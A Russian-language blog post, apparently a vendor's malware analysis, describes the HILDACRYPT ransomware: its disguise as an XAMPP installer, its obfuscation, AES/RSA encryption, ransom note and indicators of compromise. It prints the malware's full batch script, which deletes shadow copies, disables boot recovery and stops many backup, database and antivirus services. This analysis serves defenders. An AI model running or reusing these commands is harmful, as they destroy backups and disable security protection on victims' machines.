HILDACRYPT: новая программа-вымогатель наносит удар по системам резервного копирования и антивирусным решениям

Привет, Хабр! И снова мы рассказываем о свежих версиях вредоносного ПО из категории Ransomware. HILDACRYPT — это новая программа-вымогатель, представитель обнаруженного в августе 2019 года семейства Hilda, названного в честь мультфильма стримингового сервиса Netflix, который был использован для распространения ПО. Сегодня мы знакомимся с техническими особенностями работы этого обновленного вируса-вымогателя.

image
В первой версии вымогателей Hilda ссылка на размещенный на Youtube трейлер мультипликационного сериала содержалась в письме о выкупе. HILDACRYPT же маскируется под легитимный установщик XAMPP — простой в установке дистрибутив Apache, включающий MariaDB, PHP и Perl. При этом у криптолокера другое имя файла — xamp. Кроме того, файл программы-вымогателя не имеет электронной подписи.

Статический анализ


Программа-вымогатель содержится в файле PE32 .NET, написанном под MS Windows. Его размер составляет 135 168 байт. Как основной программный код, так и код программы-защитника написаны на С#. Согласно отметке о дате и времени компиляции, двоичный файл был создан 14 сентября 2019 года.

image

По данным Detect It Easy, вирус-вымогатель заархивирован с помощью Confuser и ConfuserEx, но эти обфускаторы такие же, как прежде, только ConfuserEx является преемником Confuser, так что сигнатуры их кодов являются схожими.

image

HILDACRYPT действительно запакован с помощью ConfuserEx.

image

SHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a

Вектор атаки


Скорее всего, программа-вымогатель была обнаружена на одном из сайтов, посвященных веб-программированию, маскируясь под легитимную программу XAMPP.

Всю цепочку заражения можно увидеть в app.any.run sandbox.

Обфускация


Строки программы-вымогателя хранятся в зашифрованном виде. При запуске HILDACRYPT расшифровывает их с помощью Base64 и AES-256-CBC.

image

Установка


Прежде всего программа-вымогатель создает в %AppData\Roaming% папку, у которой параметр GUID (Globally Unique Identifier)генерируется случайным образом. Добавляя в это расположение bat-файл, вирус-вымогатель запускает его с помощью cmd.exe:

cmd.exe /c \ JKfgkgj3hjgfhjka.bat \ & exit

imageimage
Затем он начинает выполнение пакетного скрипта, чтобы отключить системные функции или службы.

image

Скрипт содержит длинный список команд, с помощью которых уничтожаются теневые копии, отключается SQL-сервер, резервное копирование и антивирусные решения.

Например, он безуспешно пытается остановить службы резервного копирования Acronis Backup. Кроме того, он атакует системы резервного копирования и антивирусные решения следующих поставщиков: Veeam, Sophos, Kaspersky, McAfee и других.

@echo off
:: Not really a fan of ponies, cartoon girls are better, don't you think?
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures
vssadmin Delete Shadows /all /quiet
net stop SQLAgent$SYSTEM_BGC /y
net stop "Sophos Device Control Service” /y
net stop macmnsvc /y
net stop SQLAgent$ECWDB2 /y
net stop "Zoolz 2 Service” /y
net stop McTaskManager /y
net stop "Sophos AutoUpdate Service” /y
net stop "Sophos System Protection Service” /y
net stop EraserSvc11710 /y
net stop PDVFSService /y
net stop SQLAgent$PROFXENGAGEMENT /y
net stop SAVService /y
net stop MSSQLFDLauncher$TPSAMA /y
net stop EPSecurityService /y
net stop SQLAgent$SOPHOS /y
net stop "Symantec System Recovery” /y
net stop Antivirus /y
net stop SstpSvc /y
net stop MSOLAP$SQL_2008 /y
net stop TrueKeyServiceHelper /y
net stop sacsvr /y
net stop VeeamNFSSvc /y
net stop FA_Scheduler /y
net stop SAVAdminService /y
net stop EPUpdateService /y
net stop VeeamTransportSvc /y
net stop "Sophos Health Service” /y
net stop bedbg /y
net stop MSSQLSERVER /y
net stop KAVFS /y
net stop Smcinst /y
net stop MSSQLServerADHelper100 /y
net stop TmCCSF /y
net stop wbengine /y
net stop SQLWriter /y
net stop MSSQLFDLauncher$TPS /y
net stop SmcService /y
net stop ReportServer$TPSAMA /y
net stop swi_update /y
net stop AcrSch2Svc /y
net stop MSSQL$SYSTEM_BGC /y
net stop VeeamBrokerSvc /y
net stop MSSQLFDLauncher$PROFXENGAGEMENT /y
net stop VeeamDeploymentService /y
net stop SQLAgent$TPS /y
net stop DCAgent /y
net stop "Sophos Message Router” /y
net stop MSSQLFDLauncher$SBSMONITORING /y
net stop wbengine /y
net stop MySQL80 /y
net stop MSOLAP$SYSTEM_BGC /y
net stop ReportServer$TPS /y
net stop MSSQL$ECWDB2 /y
net stop SntpService /y
net stop SQLSERVERAGENT /y
net stop BackupExecManagementService /y
net stop SMTPSvc /y
net stop mfefire /y
net stop BackupExecRPCService /y
net stop MSSQL$VEEAMSQL2008R2 /y
net stop klnagent /y
net stop MSExchangeSA /y
net stop MSSQLServerADHelper /y
net stop SQLTELEMETRY /y
net stop "Sophos Clean Service” /y
net stop swi_update_64 /y
net stop "Sophos Web Control Service” /y
net stop EhttpSrv /y
net stop POP3Svc /y
net stop MSOLAP$TPSAMA /y
net stop McAfeeEngineService /y
net stop "Veeam Backup Catalog Data Service” /
net stop MSSQL$SBSMONITORING /y
net stop ReportServer$SYSTEM_BGC /y
net stop AcronisAgent /y
net stop KAVFSGT /y
net stop BackupExecDeviceMediaService /y
net stop MySQL57 /y
net stop McAfeeFrameworkMcAfeeFramework /y
net stop TrueKey /y
net stop VeeamMountSvc /y
net stop MsDtsServer110 /y
net stop SQLAgent$BKUPEXEC /y
net stop UI0Detect /y
net stop ReportServer /y
net stop SQLTELEMETRY$ECWDB2 /y
net stop MSSQLFDLauncher$SYSTEM_BGC /y
net stop MSSQL$BKUPEXEC /y
net stop SQLAgent$PRACTTICEBGC /y
net stop MSExchangeSRS /y
net stop SQLAgent$VEEAMSQL2008R2 /y
net stop McShield /y
net stop SepMasterService /y
net stop "Sophos MCS Client” /y
net stop VeeamCatalogSvc /y
net stop SQLAgent$SHAREPOINT /y
net stop NetMsmqActivator /y
net stop kavfsslp /y
net stop tmlisten /y
net stop ShMonitor /y
net stop MsDtsServer /y
net stop SQLAgent$SQL_2008 /y
net stop SDRSVC /y
net stop IISAdmin /y
net stop SQLAgent$PRACTTICEMGT /y
net stop BackupExecJobEngine /y
net stop SQLAgent$VEEAMSQL2008R2 /y
net stop BackupExecAgentBrowser /y
net stop VeeamHvIntegrationSvc /y
net stop masvc /y
net stop W3Svc /y
net stop "SQLsafe Backup Service” /y
net stop SQLAgent$CXDB /y
net stop SQLBrowser /y
net stop MSSQLFDLauncher$SQL_2008 /y
net stop VeeamBackupSvc /y
net stop "Sophos Safestore Service” /y
net stop svcGenericHost /y
net stop ntrtscan /y
net stop SQLAgent$VEEAMSQL2012 /y
net stop MSExchangeMGMT /y
net stop SamSs /y
net stop MSExchangeES /y
net stop MBAMService /y
net stop EsgShKernel /y
net stop ESHASRV /y
net stop MSSQL$TPSAMA /y
net stop SQLAgent$CITRIX_METAFRAME /y
net stop VeeamCloudSvc /y
net stop "Sophos File Scanner Service” /y
net stop "Sophos Agent” /y
net stop MBEndpointAgent /y
net stop swi_service /y
net stop MSSQL$PRACTICEMGT /y
net stop SQLAgent$TPSAMA /y
net stop McAfeeFramework /y
net stop "Enterprise Client Service” /y
net stop SQLAgent$SBSMONITORING /y
net stop MSSQL$VEEAMSQL2012 /y
net stop swi_filter /y
net stop SQLSafeOLRService /y
net stop BackupExecVSSProvider /y
net stop VeeamEnterpriseManagerSvc /y
net stop SQLAgent$SQLEXPRESS /y
net stop OracleClientCache80 /y
net stop MSSQL$PROFXENGAGEMENT /y
net stop IMAP4Svc /y
net stop ARSM /y
net stop MSExchangeIS /y
net stop AVP /y
net stop MSSQLFDLauncher /y
net stop MSExchangeMTA /y
net stop TrueKeyScheduler /y
net stop MSSQL$SOPHOS /y
net stop "SQL Backups” /y
net stop MSSQL$TPS /y
net stop mfemms /y
net stop MsDtsServer100 /y
net stop MSSQL$SHAREPOINT /y
net stop WRSVC /y
net stop mfevtp /y
net stop msftesql$PROD /y
net stop mozyprobackup /y
net stop MSSQL$SQL_2008 /y
net stop SNAC /y
net stop ReportServer$SQL_2008 /y
net stop BackupExecAgentAccelerator /y
net stop MSSQL$SQLEXPRESS /y
net stop MSSQL$PRACTTICEBGC /y
net stop VeeamRESTSvc /y
net stop sophossps /y
net stop ekrn /y
net stop MMS /y
net stop "Sophos MCS Agent” /y
net stop RESvc /y
net stop "Acronis VSS Provider” /y
net stop MSSQL$VEEAMSQL2008R2 /y
net stop MSSQLFDLauncher$SHAREPOINT /y
net stop "SQLsafe Filter Service” /y
net stop MSSQL$PROD /y
net stop SQLAgent$PROD /y
net stop MSOLAP$TPS /y
net stop VeeamDeploySvc /y
net stop MSSQLServerOLAPService /y
del %0


После того, как упомянутые выше службы и процессы отключены, криптолокер собирает информацию обо всех работающих процессах, используя команду tasklist, чтобы убедиться в том, что все необходимые службы неработоспособны.
tasklist v /fo csv

По этой команде выводится подробный список работающих процессов, элементы которого разделены знаком »,».
»\«csrss.exe\»,\»448\»,\«services\»,\»0\»,\»1�896 ��\»,\«unknown\»,\»�/�\»,\»0:00:03\»,\»�/�\»

image

После этой проверки программа-вымогатель начинает процесс шифрования.

Шифрование

Шифрование файлов


HILDACRYPT проходит по всему найденному содержимому жестких дисков, кроме папок Recycle.Bin и Reference Assemblies\\Microsoft. В последнем содержатся критически важные файлы dll, pdb, и пр. для приложений .Net, которые могут повлиять на работу программы-вымогателя. Для поиска файлов, которые будут зашифрованы, используется следующий список расширений:

».vb:.asmx:.config:.3dm:.3ds:.3fr:.3g2:.3gp:.3pr:.7z:.ab4:.accdb:.accde:.accdr:.accdt:.ach:.acr:.act:.adb:.ads:.agdl:.ai:.ait:.al:.apj:.arw:.asf:.asm:.asp:.aspx:.asx:.avi:.awg:.back:.backup:.backupdb:.bak:.lua:.m:.m4v:.max:.mdb:.mdc:.mdf:.mef:.mfw:.mmw:.moneywell:.mos:.mov:.mp3:.mp4:.mpg:.mpeg:.mrw:.msg:.myd:.nd:.ndd:.nef:.nk2:.nop:.nrw:.ns2:.ns3:.ns4:.nsd:.nsf:.nsg:.nsh:.nwb:.nx2:.nxl:.nyf:.tif:.tlg:.txt:.vob:.wallet:.war:.wav:.wb2:.wmv:.wpd:.wps:.x11:.x3f:.xis:.xla:.xlam:.xlk:.xlm:.xlr:.xls:.xlsb:.xlsm:.xlsx:.xlt:.xltm:.xltx:.xlw:.xml:.ycbcra:.yuv:.zip:.sqlite:.sqlite3:.sqlitedb:.sr2:.srf:.srt:.srw:.st4:.st5:.st6:.st7:.st8:.std:.sti:.stw:.stx:.svg:.swf:.sxc:.sxd:.sxg:.sxi:.sxm:.sxw:.tex:.tga:.thm:.tib:.py:.qba:.qbb:.qbm:.qbr:.qbw:.qbx:.qby:.r3d:.raf:.rar:.rat:.raw:.rdb:.rm:.rtf:.rw2:.rwl:.rwz:.s3db:.sas7bdat:.say:.sd0:.sda:.sdf:.sldm:.sldx:.sql:.pdd:.pdf:.pef:.pem:.pfx:.php:.php5:.phtml:.pl:.plc:.png:.pot:.potm:.potx:.ppam:.pps:.ppsm:.ppsx:.ppt:.pptm:.pptx:.prf:.ps:.psafe3:.psd:.pspimage:.pst:.ptx:.oab:.obj:.odb:.odc:.odf:.odg:.odm:.odp:.ods:.odt:.oil:.orf:.ost:.otg:.oth:.otp:.ots:.ott:.p12:.p7b:.p7c:.pab:.pages:.pas:.pat:.pbl:.pcd:.pct:.pdb:.gray:.grey:.gry:.h:.hbk:.hpp:.htm:.html:.ibank:.ibd:.ibz:.idx:.iif:.iiq:.incpas:.indd:.jar:.java:.jpe:.jpeg:.jpg:.jsp:.kbx:.kc2:.kdbx:.kdc:.key:.kpdx:.doc:.docm:.docx:.dot:.dotm:.dotx:.drf:.drw:.dtd:.dwg:.dxb:.dxf:.dxg:.eml:.eps:.erbsql:.erf:.exf:.fdb:.ffd:.fff:.fh:.fhd:.fla:.flac:.flv:.fmb:.fpx:.fxg:.cpp:.cr2:.craw:.crt:.crw:.cs:.csh:.csl:.csv:.dac:.bank:.bay:.bdb:.bgt:.bik:.bkf:.bkp:.blend:.bpw:.c:.cdf:.cdr:.cdr3:.cdr4:.cdr5:.cdr6:.cdrw:.cdx:.ce1:.ce2:.cer:.cfp:.cgm:.cib:.class:.cls:.cmt:.cpi:.ddoc:.ddrw:.dds:.der:.des:.design:.dgc:.djvu:.dng:.db:.db-journal:.db3:.dcr:.dcs:.ddd:.dbf:.dbx:.dc2:.pbl:.csproj:.sln:.vbproj:.mdb:.md»

Для шифрования файлов пользователя программа-вымогатель использует алгоритм AES-256-CBC. Размер ключа составляет 256 бит, а размер вектора инициализации (IV) — 16 байт.

image

На следующем снимке экрана значения byte_2 и byte_1 были получены случайным образом с помощью GetBytes ().

image

Ключ

image

ВИ

image

Зашифрованный файл имеет расширение HCY!… Это пример зашифрованного файла. Для этого файла были созданы ключ и IV, упомянутые выше.

image

Шифрование ключей


Криптолокер сохраняет сгенерированный ключ AES в зашифрованном файле. Первая часть зашифрованного файла имеет заголовок, который содержит такие данные как HILDACRYPT, KEY, IV, FileLen в формате XML, и выглядит следующим образом:

image

Шифрование ключа AES и IV происходит с помощью RSA-2048, а кодирование — с помощью Base64. Открытый ключ RSA хранится в теле криптолокера в одной из зашифрованных строк в формате XML.

28guEbzkzciKg3N/ExUq8jGcshuMSCmoFsh/3LoMyWzPrnfHGhrgotuY/cs+eSGABQ+rs1B+MMWOWvqWdVpBxUgzgsgOgcJt7P+r4bWhfccYeKDi7PGRtZuTv+XpmG+m+u/JgerBM1Fi49+0vUMuEw5a1sZ408CvFapojDkMT0P5cJGYLSiVFud8reV7ZtwcCaGf88rt8DAUt2iSZQix0aw8PpnCH5/74WE8dAHKLF3sYmR7yFWAdCJRovzdx8/qfjMtZ41sIIIEyajVKfA18OT72/UBME2gsAM/BGii2hgLXP5ZGKPgQEf7Zpic1fReZcpJonhNZzXztGCSLfa/jQ==AQAB

Для шифрования ключа AES-файла используется открытый ключ RSA. Открытый ключ RSA закодирован с помощью Base64 и состоит из модуля и открытой экспоненты 65537. Для дешифровки требуется закрытый RSA-ключ, который есть у злоумышленника.

После RSA-шифрования ключ AES кодируется с помощью Base64, сохраненного в зашифрованном файле.

Сообщение о выкупе


По окончании шифрования HILDACRYPT записывает html-файл в ту папку, в которой он зашифровал файлы. Уведомление программы-вымогателя содержит два адреса электронной почты, по которым жертва может связаться со злоумышленником.

  • hildalolilovesyou@airmail.cc
    hildalolilovesyou@memeware.net


image

Вымогательское уведомление содержит также строчку «No loli is safe;)» — «Ни одна лоли не находится в безопасности;)», — отсылка к запрещенным в Японии персонажам аниме и манги со внешностью маленьких девочек.

Вывод


HILDACRYPT, новое семейство программ-вымогателей, выпустило новую версию. Модель шифрования не позволяет жертве дешифровать зашифрованные программой-вымогателем файлы. Криптолокером используются методы активной защиты для отключения служб защиты, относящихся к системам резервного копирования и антивирусным решениям. Автор HILDACRYPT — поклонник демонстрируемого через Netflix мультсериала Hilda, ссылка на трейлер которого содержалась в письме о выкупе предыдущей версии программы.

Как обычно, Acronis Backup и Acronis True Image могут защитить ваш компьютер от программы-вымогателя HILDACRYPT, а провайдеры имеют возможность защитить своих клиентов с помощью Acronis Backup Cloud. Защита обеспечивается благодаря тому, что в состав этих решений кибербезопасности входит не только резервное копирование, но и наша интегрированная система защиты Acronis Active Protection — усиленная моделью машинного обучения и основанная на поведенческих эвристиках технология, которая, как никакая другая, способна противостоять угрозам программ-вымогателей нулевого дня.

Индикаторы компрометации


Расширение файла HCY!
HILDACRYPTReadMe.html
xamp.exe с одной буквой «p» и без цифровой подписи
SHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a

© Habrahabr.ru